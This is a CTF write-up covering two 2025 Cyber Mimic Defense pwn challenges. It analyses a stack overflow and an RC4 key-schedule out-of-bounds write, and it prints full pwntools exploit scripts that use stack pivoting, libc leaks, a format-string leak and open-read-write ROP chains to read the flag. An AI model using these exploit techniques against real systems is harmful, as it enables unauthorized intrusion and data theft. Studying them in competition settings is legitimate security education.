[Writeup] 2025 Qiangwang Challenge on Cyber Mimic Defense
Writeup for Mimic CTF 2025
Preface
Hello, this is my first writeup about pwnable. My team(BKISC) and I participated in Cyber Mimic Defense 2025 in November. Here’s the writeups about 2 stack pivot challenges that I solved during the competition.
[Quals] stack
Analysis
The main function looks like this:
1
2
3
4
5
6
7
8
9
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_401236(a1, a2, a3);
puts("Welcome");
sub_401354();
sub_4013B9();
sub_4013ED();
return 0;
}
The function sub_401236() sets up I/O and seccomp ban execve and execveat via prctl().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_401236()
{
int result; // eax
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
if ( prctl(38, 1, 0, 0, 0) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(1);
}
result = prctl(22, 2, &unk_404060);
if ( result < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(1);
}
return result;
}
Dump of seccomp-tools:
1
2
3
4
5
6
7
8
9
10
11
seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
A mmap func sub_401317() but doesn’t call anywhere:
1
2
3
4
5
6
int sub_401317()
{
puts("You are so lucky!");
puts("Here is your gift:");
return mprotect(0, 0x1000u, 1);
}
First, there’s a small overflow in sub_401354(), we can use it to leak stack
1
2
3
4
5
6
7
8
9
int sub_401354()
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
memset(s, 0, sizeof(s));
puts("Could you tell me your name?");
read(0, s, 24u);
return printf("Hello, %s!\n", s);
}
A bigger overflow in sub_4013B9()
1
2
3
4
5
6
7
ssize_t sub_4013B9()
{
_BYTE buf[96]; // [rsp+0h] [rbp-60h] BYREF
puts("Any thing else?");
return read(0, buf, 0x200u);
}
Exit function sub_4013ED():
1
2
3
4
5
signed __int64 sub_4013ED()
{
puts("Goodbye!");
return sys_exit(0);
}
Exploitation
I usually checksec the binary before starting the exploit to have an overview of the protections. Even though checksec reports SHSTK/IBT enabled, in this challenge they don’t seem to be actually enforced (no CET signal when doing plain ROP).
1
2
3
4
5
6
7
8
9
checksec ./pwn
[*] '/mnt/d/ctf/mimic/2025/stack/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
I first leak stack through sub_401354() and it also save rbp of main. Then in sub_4013B9() I keep rbp to the stack I leaked, overwrite return address to sub_401354()+5 as well as overwrite __libc_start_call_main+128 to __libc_start_call_main+102. The idea is to reuse main’s caller frame: by setting the saved rbp to main’s frame and jumping into sub_401354()+5, the value that originally was the return address of main (__libc_start_call_main+128) becomes the return address of sub_401354().
With 0x18 bytes of padding, we fully overwrite the buffer and reach the slot that holds the return address of main (now is __libc_start_call_main+102). After that, when sub_401354() returns, it will jump to __libc_start_call_main+102, which eventually calls main() again.
1
2
3
4
5
6
7
8
9
10
.text:0000000000401354 ; int sub_401354()
.text:0000000000401354 sub_401354 proc near ; CODE XREF: main+26↓p
.text:0000000000401354
.text:0000000000401354 s = byte ptr -10h
.text:0000000000401354
.text:0000000000401354 ; __unwind {
.text:0000000000401354 endbr64
.text:0000000000401358 push rbp
.text:0000000000401359 mov rbp, rsp
.text:000000000040135C sub rsp, 10h
Stack layout in sub_4013B9():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> tel rsi 50
00:0000│ rax rsi rsp 0x7fffb69d8ef0 —▸ 0x40205a ◂— 'Could you tell me your name?'
01:0008│-058 0x7fffb69d8ef8 —▸ 0x7ed6bf0f6faa (puts+346) ◂— cmp eax, -1
02:0010│-050 0x7fffb69d8f00 ◂— 7
03:0018│-048 0x7fffb69d8f08 —▸ 0x7ed6bf291780 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0020│-040 0x7fffb69d8f10 ◂— 0
05:0028│-038 0x7fffb69d8f18 —▸ 0x7fffb69d8f50 —▸ 0x7fffb69d8f60 ◂— 1
06:0030│-030 0x7fffb69d8f20 —▸ 0x7fffb69d9078 —▸ 0x7fffb69dade1 ◂— '/mnt/d/ctf/mimic/2025/stack/pwn_patched'
07:0038│-028 0x7fffb69d8f28 —▸ 0x401413 ◂— endbr64
08:0040│-020 0x7fffb69d8f30 —▸ 0x403d98 —▸ 0x401200 ◂— endbr64
09:0048│-018 0x7fffb69d8f38 —▸ 0x4013b6 ◂— nop
0a:0050│-010 0x7fffb69d8f40 ◂— 0x4141414141414141 ('AAAAAAAA')
0b:0058│-008 0x7fffb69d8f48 ◂— 0x4141414141414141 ('AAAAAAAA')
=> stack leaked 0c:0060│ rbp 0x7fffb69d8f50 —▸ 0x7fffb69d8f60 ◂— 1
=> ret to sub_401354()+5 0d:0068│+008 0x7fffb69d8f58 —▸ 0x401448 ◂— mov eax, 0
0e:0070│+010 0x7fffb69d8f60 ◂— 1
=> change to +102 0f:0078│+018 0x7fffb69d8f68 —▸ 0x7ed6bf09fd90 (__libc_start_call_main+128) ◂— mov edi, eax
After returning to main I build a second-stage ROP chain on the stack. Since the Dockerfile is not provided, we don’t know the exact flag path at compile time. I therefore use getdents64 to list directory entries at runtime, leak the flag filename, and then perform a standard open-read-write (ORW) chain.
Flow: sub_401354() => leak stack => sub_4013B9() => sub_401354() => leak libc => __libc_start_call_main => main() => leak flag path => orw
Result of getdents64 at /:
1
2
3
4
5
6
7
8
9
\xdb\x05\xa5B\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x00\x04.
\x00\x00\x00\x00\xbcBC\x04\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x18\x00\x04..
\x00\x00\x00\xdc\x05\xa5B\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00 \x00\x08.
bash_logout\x00\xdd\x05\xa5B\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x08.
bashrc\x00\x00\x00\x00\x00\x00\xde\x05\xa5B\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00 \x00\x08.
profile\x00\x00\x00\x00\x00\xde\x08\xa5B\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x18\x00\x08vuln\x00\xdf\x05\xa5B\x00\x00\
x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x18\x00\x08flag\x00\x84\x16\x90\x87\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x0
0\x04bin\x00\x00dӾ\xc3\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x18\x00\x04dev\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
HOST="pwn-42c1acba80.challenge.xctf.org.cn"
PORT=9999
context.binary = exe
context.log_level = 'debug'
gdbscript="""
b*0x0000000000401338
b*0x00000000004013B1
b*0x4013eb
"""
def run():
if args.LOCAL:
p = process([exe.path])
gdb.attach(p, api=True, gdbscript=gdbscript)
else:
p = remote(HOST, PORT, ssl=True)
return p
p = run()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
rl = lambda: p.recvline().strip()
rn = lambda n: p.recvn(n)
rbp = 0x000000000040121d
main = 0x0000000000401413
sa(b"name?\n", b"A"*16)
ru(b"A"*16)
stack = u64(p.recvn(6).ljust(8, b"\x00"))
success("stack " + hex(stack))
sa(b"else?\n", b"B"*96 + p64(stack) + p64(0x401359) + p64(0) + b'\x76')
sa(b"name?\n", b"A"*24)
ru(b"A"*24)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 171382
success(f'libc base: {hex(libc.address)}')
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_rbx = libc.address + 0x00000000000904a9
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
ret = pop_rdi + 1
openat = libc.symbols['openat']
getdents64 = libc.symbols['getdents64']
write = libc.symbols['write']
read_plt = exe.plt['read']
sendfile = libc.symbols['sendfile']
bss = 0x404100
path = bss
buff = bss + 0x100
buf_sz = 0x100
AT_FDCWD = -100
O_DIRECTORY = 0x10000
O_RDONLY = 0
# listfile = flat(
# pop_rdi, 0,
# pop_rsi, path,
# pop_rdx_rbx, 0x100, 0,
# read_plt,
# # 2) fd = openat(AT_FDCWD, PATH, O_DIRECTORY, 0)
# pop_rdi, AT_FDCWD,
# pop_rsi, path,
# pop_rdx_rbx, O_DIRECTORY, 0,
# openat,
# # 3) getdents64(fd=3, BUF, BUFSZ)
# pop_rdi, 3,
# pop_rsi, buff,
# pop_rdx_rbx, buf_sz, 0,
# getdents64,
# # 4) write(1, BUF, BUFSZ)
# pop_rdi, 1,
# pop_rsi, buff,
# pop_rdx_rbx, buf_sz, 0,
# write,
# )
# sa(b"name?\n", b"A"*16)
# payload = b"B"*96 + b"C"*8 + listfile
# sa(b"else?\n", payload)
# pause()
# s(b"/\x00")
orw = flat(
pop_rdi, 0,
pop_rsi, path,
pop_rdx_rbx, 0x100, 0,
read_plt,
# 2)
pop_rdi, AT_FDCWD,
pop_rsi, path,
pop_rdx_rbx, 0, 0,
openat,
# 3)
pop_rdi, 3,
pop_rsi, buff,
pop_rdx_rbx, buf_sz, 0,
read_plt,
# 4) write(1, BUF, BUFSZ)
pop_rdi, 1,
pop_rsi, buff,
pop_rdx_rbx, buf_sz, 0,
write,
)
sa(b"name?\n", b"A"*16)
payload = b"B"*96 + b"C"*8 + orw
sa(b"else?\n", payload)
pause()
s(b"./flag\x00")
p.interactive()
Flag: flag{OerBsSljF3pcjeKMrR2j1Bh8evAMeYZK}
[Finals] leak4
Analysis
Init fun setup I/O and disable execve/execveat:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
disable_execve();
alarm(0x3Cu);
}
void __cdecl disable_execve()
{
scmp_filter_ctx ctx; // [rsp+8h] [rbp-8h]
ctx = (scmp_filter_ctx)seccomp_init(2147418112);
seccomp_rule_add(ctx, 0, 59, 0);
seccomp_rule_add(ctx, 0, 322, 0);
if ( (int)seccomp_load(ctx) < 0 )
{
perror("seccomp_load");
seccomp_release(ctx);
exit(1);
}
seccomp_release(ctx);
}
1
2
3
4
5
6
7
8
9
10
11
12
seccomp-tools dump ./chal
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
The program follows a standard RC4 encryption routine structure:
main(): Allocates a struct protect1 on the heap, reads a Key, initializes the RC4 state array S with value 0-127, schedules the key, reads Data, and encrypts it.1 2 3 4 5
00000000 struct protect1 // sizeof=0x100 00000000 { 00000000 char input[128]; 00000080 char data[128]; 00000100 };
key_schedule(): The KSA (Key Scheduling Algorithm) phase of RC4. It permutes the state array S based on the user-provided key.rc4_crypt(): The PRGA (Pseudo-Random Generation Algorithm) phase. It generates the keystream and XORs it with the data.
In key_schedule(), there’s a OOB bug when computing idx j:
1
j = (buf[i_1] + j + input2[i_1]) % 128;
Both buf and input2 are signed char which range is typically -128 to 127. The % operator keeps the sign of the dividend so j can be negative. Because j is bounded by [-127, 127], the out-of-bounds region is limited to a window of up to 127 bytes below S[0], but this is still enough to corrupt important stack values. And after debugging, I found that at offset -40 we can overwrite the return address of key_schedule() or overwrite rbp with offset -48.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __cdecl key_schedule(char *input, char *input2, size_t inputlen)
{
char tmp; // [rsp+2Fh] [rbp-A1h]
int j; // [rsp+30h] [rbp-A0h]
int i_0; // [rsp+34h] [rbp-9Ch]
int i_1; // [rsp+38h] [rbp-98h]
char buf[136]; // [rsp+40h] [rbp-90h] BYREF
unsigned __int64 v8; // [rsp+C8h] [rbp-8h]
v8 = __readfsqword(0x28u);
j = 0;
memset(buf, 0, 128);
for ( i_0 = 0; i_0 <= 127; ++i_0 )
buf[i_0] = input[i_0 % inputlen];
for ( i_1 = 0; i_1 <= 127; ++i_1 )
{
j = (buf[i_1] + j + input2[i_1]) % 128;
tmp = input2[i_1];
input2[i_1] = input2[j];
input2[j] = tmp;
}
}
Exploitation
Checksec results:
1
2
3
4
5
6
7
8
9
10
11
12
checksec
File: /mnt/d/ctf/mimic/2025/final/leak4/chal_patched
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
Again, I think they don’t actually enforce SHSTK/IBT in this challenge.
I also noticed that when key_schedule() return, the register rdi still holds our first argument, which is the pointer to our input buffer(p->input). By overwriting the return address of key_schedule() to point to the printf("Enter the key->") call inside main (e.g. main+0x3b), we effectively call printf with our input buffer as the format string. That turns this into a format string vulnerability, which can be used to leak stack and libc addresses.
Note that the key_schedule-based OOB write is mathematically limited. The RC4 state S is initialized as S[i] = i for 0 ≤ i < 128 and only permuted by swaps; it never stores values outside 0..127. Since our out-of-bounds writes are always input2[j] = tmp where tmp is one element of S, the bytes we can write outside the array are also restricted to the range 0x00..0x7f. Moreover, the index j is computed as (buf[i] + j + S[i]) % 128 using signed char and signed %, so j is always in [-127, 127]. This means we can only corrupt a small window of stack memory around S, and at each location we can only place a value from 0..127. As a result, we need a bit brute-force to find the right input key to overwrite the target addresses.
After that, we can overwrite the lower two bytes of rbp (with some bruteforce) to change where p is stored. My first idea was to tweak p so that we could overwrite the return address of rc4_crypt() and jump directly into a ROP chain. However, in practice it was quite hard to control both the value and the key cleanly, so I took a step back and looked for a nicer target. That’s when I noticed an interesting pointer in stack. Let’s look at leave; ret of key_schedule():
1
2
3
4
target ptr: 0x7fff64cc3e00 —▸ 0x7fff64cc3e10
RBP 0x7fff64cc3ec0 —▸ overwrited by us
0x644da6b6d5c0 <key_schedule+513> leave
0x644da6b6d5c1 <key_schedule+514> ret
From the stack layout of main, we know:
1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000000000130
-0000000000000130 int i;
-000000000000012C int i_0;
-0000000000000128 protect1 *p;
-0000000000000120 size_t len;
-0000000000000118 size_t datalen;
-0000000000000110 char S[128];
-0000000000000090 char S_backup[136];
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
The variable p lives at [rbp - 0x128] so the rbp must be 0x7fff64cc3e00+0x128=0x7fff64cc3f28. After that, the p* now is 0x7fff64cc3e10.
Because struct protect1 is:
1
2
3
4
5
00000000 struct protect1 // sizeof=0x100
00000000 {
00000000 char input[128];
00000080 char data[128];
00000100 };
the field p->data is at p + 0x80, so the next read into p->data will write to:
p->data = 0x7fff64cc3e10 + 0x80 = 0x7fff64cc3e90
Now look at what happens when key_schedule() returns. The epilogue is the usual leave; ret:
1
2
3
4
5
mov rsp, rbp ; rsp = 0x7fff64cc3ec0
pop rbp ; rbp = 0x7fff64cc3f28
; rsp = 0x7fff64cc3ec8
pop rip ; rip = [rsp] = 0x644da6b6d7e4 (main+216)
; rsp = 0x7fff64cc3ed0
So after returning to main, the stack pointer is at rsp = 0x7fff64cc3ed0. When main later calls read, the CPU executes call read@plt which pushes the return address at [rsp - 8]. That means the return address of read() is stored at: 0x7fff64cc3ec8
At the same time, our buf argument to read is p->data = 0x7fff64cc3e90:
1
2
3
4
0x644da6b6d848 <main+316> call read@plt <read@plt>
fd: 0 (pipe:[1032699])
buf: 0x7fff64cc3e90 ◂— 0x191a1b1c1d1e1f20
nbytes: 0x80
You can easily find that there’s a buffer overflow inside read(). With 0x38 bytes of padding, we can overwrite the return address of read() to our ROP chain. Because there’s a seccomp that blocks execve/execveat, we have to ORW(open-read-write) flag. I’ll put the string /flag at the start of the overflow buffer and then use the first ROP chain to read a larger second-stage ROP payload into memory (since the overflowed stack space is quite small). The second stage then opens /flag, reads, and writes to stdout.
Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chal_patched")
libc = ELF("./libc.so.6", checksec=False)
HOST="172.31.14.13"
PORT=9999
context.binary = exe
context.log_level = 'debug'
gdbscript = '''
# b*$rebase(0x000000000000152E)
b*$rebase(0x00000000000015C0)
b*$rebase(0x0000000000001848)
b*$rebase(0x000000000000170B)
'''
def run():
if args.LOCAL:
p = process([exe.path])
gdb.attach(p, api=True, gdbscript=gdbscript)
else:
p = remote(HOST, PORT)
return p
p = run()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
rl = lambda: p.recvline().strip()
rn = lambda n: p.recvn(n)
def gen(target_idx, desired_byte, fmt_string="%45$p"):
key = bytearray(128)
S = list(range(128))
j = 0
fmt_bytes = fmt_string.encode()
fmt_len = len(fmt_bytes)
for i in range(fmt_len):
key[i] = fmt_bytes[i]
j = (S[i] + j + key[i]) % 128
S[i], S[j] = S[j], S[i]
fix_idx = fmt_len
needed_k = (-S[fix_idx] - j) % 128
key[fix_idx] = needed_k
j = (S[fix_idx] + j + key[fix_idx]) % 128
S[fix_idx], S[j] = S[j], S[fix_idx]
trigger = desired_byte
for i in range(fix_idx + 1, trigger):
key[i] = (128 - S[i]) % 128
S[i], S[0] = S[0], S[i]
key[trigger] = (target_idx - S[trigger]) & 0xff
next_i = trigger + 1
if next_i < 128:
key[next_i] = (-S[next_i] - target_idx) % 128
for i in range(next_i + 1, 128):
key[i] = (128 - S[i]) % 128
return bytes(key)
def gen_auto(targets):
targets = sorted(targets, key=lambda x: x[1])
for k in range(len(targets) - 1):
if targets[k+1][1] <= targets[k][1] + 1:
raise ValueError(f"Conflict: Byte {hex(targets[k][1])} and {hex(targets[k+1][1])} are too close (gap < 2).")
key = bytearray(128)
S = list(range(128))
j = 0
last_i = -1
for target_idx, trigger_byte in targets:
for i in range(last_i + 1, trigger_byte):
key[i] = (128 - S[i]) % 128
S[i], S[0] = S[0], S[i]
key[trigger_byte] = (target_idx - S[trigger_byte]) & 0xff
j = target_idx
if 0 <= j < 128:
S[trigger_byte], S[j] = S[j], S[trigger_byte]
reset_idx = trigger_byte + 1
if reset_idx < 128:
key[reset_idx] = (-S[reset_idx] - target_idx) % 128
j = 0
S[reset_idx], S[0] = S[0], S[reset_idx]
last_i = reset_idx
else:
last_i = 128
if last_i < 127:
for i in range(last_i + 1, 128):
key[i] = (128 - S[i]) % 128
S[i], S[0] = S[0], S[i]
return bytes(key)
p.sendafter(b'Enter the key->', gen(-40, 0x47, "\n%45$p"))
p.recvline()
leak = int(p.recvn(14), 16)
libc.address = leak - libc.symbols['__libc_start_main'] - 243
payload2 = gen(-40, 0x47, "\n%35$p")
pause()
p.send(payload2)
p.recvline()
stack = int(p.recvn(14), 16)
log.info(f"libc: {hex(libc.address)}")
log.info(f"stack: {hex(stack)}")
target = stack - 0x1e7 + 0x128
log.info(f"target: {hex(target-0x128)}")
log.info(f"target+0x128: {hex(target)}")
log.info(f"ret_rc4: {hex(target-0x11f)}")
log.info(f"b1: {hex(target&0xff)}, b2: {hex((target>>8)&0xff)}")
my_targets = [
(-47, (target & 0xff00) >> 8),
(-48, target & 0x00ff)
]
pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx_r12 = libc.address + 0x0000000000119431
pop_rcx_rbx = libc.address + 0x000000000010257e
open = libc.symbols['open']
sendfile = libc.symbols['sendfile']
read = libc.symbols['read']
write = libc.symbols['write']
payload3 = gen_auto(my_targets)
pause()
p.send(payload3)
path = stack - 0x157
abc = flat(
pop_rdi, path,
pop_rsi, 0,
pop_rdx_r12, 0, 0,
open,
pop_rdi, 3,
pop_rsi, stack,
pop_rdx_r12, 0x50, 0,
read,
pop_rdi, 1,
pop_rsi, stack,
pop_rdx_r12, 0x50, 0,
write
)
read_more = flat(
pop_rdi, 0,
pop_rsi, path+0x78,
pop_rdx_r12, 0x100, 0,
read
)
payload4 = b"/flag\x00".ljust(0x38, b'\x00') + read_more
p.sendafter(b'data->', payload4)
pause()
p.send(abc)
p.interactive()
Flag: flag{6WTv7A0crLU5r8r2UneKtxI5eLkQxRE1}